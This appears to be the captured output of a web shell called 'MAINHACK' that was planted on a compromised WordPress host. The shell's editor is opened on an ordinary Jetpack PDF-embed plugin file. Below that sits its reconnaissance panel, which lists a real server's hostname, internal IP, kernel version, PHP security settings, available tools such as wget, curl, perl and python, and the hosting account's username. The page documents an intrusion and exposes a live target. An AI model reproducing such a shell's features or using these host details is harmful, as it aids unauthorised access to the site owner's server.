[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: inline-pdfs.php
<?php /** * Embed support for Inline PDFs * * Takes a plain-text PDF URL (*.pdf), and attempts to embed it directly * in the post instead of leaving it as a bare link. * * @package automattic/jetpack */ wp_embed_register_handler( 'inline-pdfs', '#https?://[^<]*\.pdf$#i', 'jetpack_inline_pdf_embed_handler' ); /** * Callback to modify the output of embedded PDF files. * * @param array $matches Regex partial matches against the URL passed. * @param array $attr Attributes received in embed response. * @param array $url Requested URL to be embedded. */ function jetpack_inline_pdf_embed_handler( $matches, $attr, $url ) { /** This action is documented in modules/widgets/social-media-icons.php */ do_action( 'jetpack_bump_stats_extras', 'embeds', 'inline-pdf' ); $filename = basename( wp_parse_url( $url, PHP_URL_PATH ) ); $fallback_text = sprintf( /* translators: Placeholder is a file name, for example "file.pdf" */ esc_html__( 'Click to access %1$s', 'jetpack' ), $filename ); return sprintf( '<p><a href="%1$s" target="_blank" rel="noopener noreferrer nofollow">%2$s</a></p>', esc_url( $url ), $fallback_text ); }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm010.cluster103.gra.hosting.ovh.net
Server IP: 10.103.20.10
PHP Version: 7.4.33
Server Software: Apache
System: Linux webm010.cluster103.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: cuisinesj
User ID (UID): 17129
Group ID (GID): 100
Script Owner UID: 17129
Current Dir Owner: 17129